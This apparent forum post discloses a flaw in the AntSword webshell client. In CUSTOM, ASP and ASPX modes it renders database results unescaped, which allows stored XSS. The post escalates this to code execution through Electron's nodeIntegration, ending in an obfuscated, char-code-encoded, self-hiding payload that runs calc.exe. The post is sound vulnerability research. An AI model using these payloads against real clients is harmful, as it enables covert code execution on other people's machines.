前言

最近在做项目的过程中,利用蚁剑连接JSP的webshell连接数据库时,发现数据库html内容被解析了,开始以为这只是JSP webshell编写的不严谨导致的,后来发现蚁剑自身的过滤同样存在问题。

发现过程

在做项目过程中,利用JSP webshell连接数据库时,发现html内容被蚁剑解析了

首先想到的是蚁剑在取出数据库的值后,过滤没有做严格导致html标签被渲染。于是我在本地搭建了个PHP环境,在数据库中写入XSS payload:

"><img src=1 onerror=alert`1`>

奇怪的是,并未触发XSS,由此推测触发XSS是有条件的

深入分析

首先考虑编码原因,由于目标中某些表情等字符使用了非标准UTF-8编码,通过将被解析的html进行URL编码,解码后将原数据以16进制的方式写入到本地数据库中。

但结果也一样,同样没有解析。

这样看来和编码应该没太大的关系,或者说需要相同环境下才能触发;于是我本地搭建了个Tomcat+Mysql的环境,将mysql-connector-java-5.1.36-bin.jar放到WEB-INF下的lib目录中。同样的在数据库中放入了上述payload,这时发现弹窗了。

大家都知道JSP在蚁剑中使用的CUSTOM类型的连接方式,这就有必要看看蚁剑中是怎么实现的;首先看到index.js的updateResult函数:

updateResult(data) {
    // 1.分割数组
    const arr = data.split('\n');
    // let arr = []; _arr.map((_) => {   arr.push(antSword.noxss(_)); });
    // console.log(_arr, arr); 2.判断数据
    if (arr.length < 2) {
      return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
    };
    // 3.行头
    let header_arr = antSword
      .noxss(arr[0])
      .replace(/,/g, ',')
      .split('\t|\t');
    if (header_arr.length === 1) {
      return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);
    };
    if (header_arr[header_arr.length - 1] === '\r') {
      header_arr.pop();
    };
    arr.shift();
    // 4.数据
    let data_arr = [];
    arr.map((_) => {
      let _data = _.split('\t|\t');
      data_arr.push(_data);
    });
    data_arr.pop();
    // 5.初始化表格
    const grid = this
      .manager
      .result
      .layout
      .attachGrid();
    grid.clearAll();
    grid.setHeader(header_arr.join(',').replace(/,$/, ''));
    grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, ''));
    grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));
    grid.setColumnMinWidth(100, header_arr.length - 1);
    grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*");
    grid.setEditable(true);
    grid.init();
    // 添加数据
    let grid_data = [];
    for (let i = 0; i < data_arr.length; i++) {
      grid_data.push({
        id: i + 1,
        data: data_arr[i]
      });
    }
    grid.parse({
      'rows': grid_data
    }, 'json');
    // 启用导出按钮
    this.manager.result.toolbar[grid_data.length > 0 ?
      'enableItem' :
      'disableItem']('dump');
  }

data从传入到最后写入表格没有经过任何转义,同样对比PHP下的updateResult函数,可以发现php中对data做了防XSS处理,其关键代码如下。

let text = Decodes.decode(buff, encoding);
_data[i] = antSword.noxss(text, false);

得出结论

通过分析CUSTOM模式下的代码可知,若用户使用蚁剑的自定义模式,若webshell未作任何过滤,蚁剑将直接将数据库的结果输出,造成XSS。

拓展思路

看起来似乎只有JSP连接webshell的时候会出现上述情况,那ASP和ASPX呢?当我们查看其代码时会发现,蚁剑同样未作任何过滤措施;在本地搭建IIS+ASP.NET,配置ODBC driver如下:

蚁剑数据库连接采用ODBC连接方式,其配置信息如下:

同样使用上述的payload,发现成功弹窗,也就是说Aspx和Asp类型的shell连接时同样存在XSS。

构造RCE

要造成RCE也就很简单了,蚁剑使用Electron框架开发,并且开启了nodeIntegration,所以可以直接使用nodejs的库执行CMD,其执行CMD方式如下如下::

require('child_process').exec('calc.exe')

结合蚁剑的以下特点:

  1. 解析HTML时,不能使用单引号或双引号,否则会出现语法混乱
  2. HTML源码和流量中均有Payload,导致攻击方很容易被反制
    在执行命令后需要删除当前HTML节点,并对流量进行加密。通过以下payload删除当前HTML节点。
    this.parentNode.parentNode.removeChild(this.parentNode);
    使用JavaScript Obfuscator工具对payload进行混淆,并编码形成char code,最终payload如下:
    <img src=1 onerror="eval(String.fromCharCode(118,97,114,32,95,48,120,52,52,100,99,61,91,39,102,114,111,109,67,104,97,114,67,111,100,101,39,44,39,101,120,112,111,114,116,115,39,44,39,108,101,110,103,104,116,39,44,39,101,120,101,99,39,44,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,44,39,116,111,83,116,114,105,110,103,39,93,59,40,102,117,110,99,116,105,111,110,40,95,48,120,51,102,48,49,56,53,44,95,48,120,52,52,100,99,102,50,41,123,118,97,114,32,95,48,120,51,49,49,98,56,55,61,102,117,110,99,116,105,111,110,40,95,48,120,49,57,102,102,55,100,41,123,119,104,105,108,101,40,45,45,95,48,120,49,57,102,102,55,100,41,123,95,48,120,51,102,48,49,56,53,91,39,112,117,115,104,39,93,40,95,48,120,51,102,48,49,56,53,91,39,115,104,105,102,116,39,93,40,41,41,59,125,125,59,95,48,120,51,49,49,98,56,55,40,43,43,95,48,120,52,52,100,99,102,50,41,59,125,40,95,48,120,52,52,100,99,44,48,120,49,54,99,41,41,59,118,97,114,32,95,48,120,51,49,49,98,61,102,117,110,99,116,105,111,110,40,95,48,120,51,102,48,49,56,53,44,95,48,120,52,52,100,99,102,50,41,123,95,48,120,51,102,48,49,56,53,61,95,48,120,51,102,48,49,56,53,45,48,120,48,59,118,97,114,32,95,48,120,51,49,49,98,56,55,61,95,48,120,52,52,100,99,91,95,48,120,51,102,48,49,56,53,93,59,114,101,116,117,114,110,32,95,48,120,51,49,49,98,56,55,59,125,59,118,97,114,32,101,120,101,99,61,114,101,113,117,105,114,101,40,95,48,120,51,49,49,98,40,39,48,120,48,39,41,41,91,95,48,120,51,49,49,98,40,39,48,120,53,39,41,93,59,109,111,100,117,108,101,91,95,48,120,51,49,49,98,40,39,48,120,51,39,41,93,61,102,117,110,99,116,105,111,110,32,120,40,41,123,114,101,116,117,114,110,32,110,101,119,32,80,114,111,109,105,115,101,40,102,117,110,99,116,105,111,110,40,95,48,120,54,56,57,53,48,57,44,95,48,120,52,52,52,98,53,98,41,123,118,97,114,32,95,48,120,52,55,52,55,51,50,61,83,116,114,105,110,103,91,95,48,120,51,49,49,98,40,39,48,120,50,39,41,93,40,48,120,54,51,44,48,120,54,49,44,48,120,54,99,44,48,120,54,51,44,48,120,50,101,44,48,120,54,53,44,48,120,55,56,44,48,120,54,53,41,59,101,120,101,99,40,95,48,120,52,55,52,55,51,50,44,123,39,109,97,120,66,117,102,102,101,114,39,58,48,120,52,48,48,42,48,120,55,100,48,125,44,102,117,110,99,116,105,111,110,40,95,48,120,53,54,98,98,100,53,44,95,48,120,52,48,49,57,52,51,44,95,48,120,50,50,51,48,51,51,41,123,105,102,40,95,48,120,53,54,98,98,100,53,41,95,48,120,52,52,52,98,53,98,40,95,48,120,53,54,98,98,100,53,41,59,101,108,115,101,32,95,48,120,50,50,51,48,51,51,91,95,48,120,51,49,49,98,40,39,48,120,52,39,41,93,62,48,120,48,63,95,48,120,52,52,52,98,53,98,40,110,101,119,32,69,114,114,111,114,40,95,48,120,50,50,51,48,51,51,91,95,48,120,51,49,49,98,40,39,48,120,49,39,41,93,40,41,41,41,58,95,48,120,54,56,57,53,48,57,40,41,59,125,41,59,125,41,59,125,44,109,111,100,117,108,101,91,95,48,120,51,49,49,98,40,39,48,120,51,39,41,93,40,41,59));this.parentNode.parentNode.removeChild(this.parentNode);" style="display:none;"/>
    连接数据库,查询指定表将弹出计算器:

假象当我们通过webshell连接上目标的数据库,查询目标数据库时将发生上述情况:)

演示

点击收藏 | 2 关注 | 1
登录 后跟帖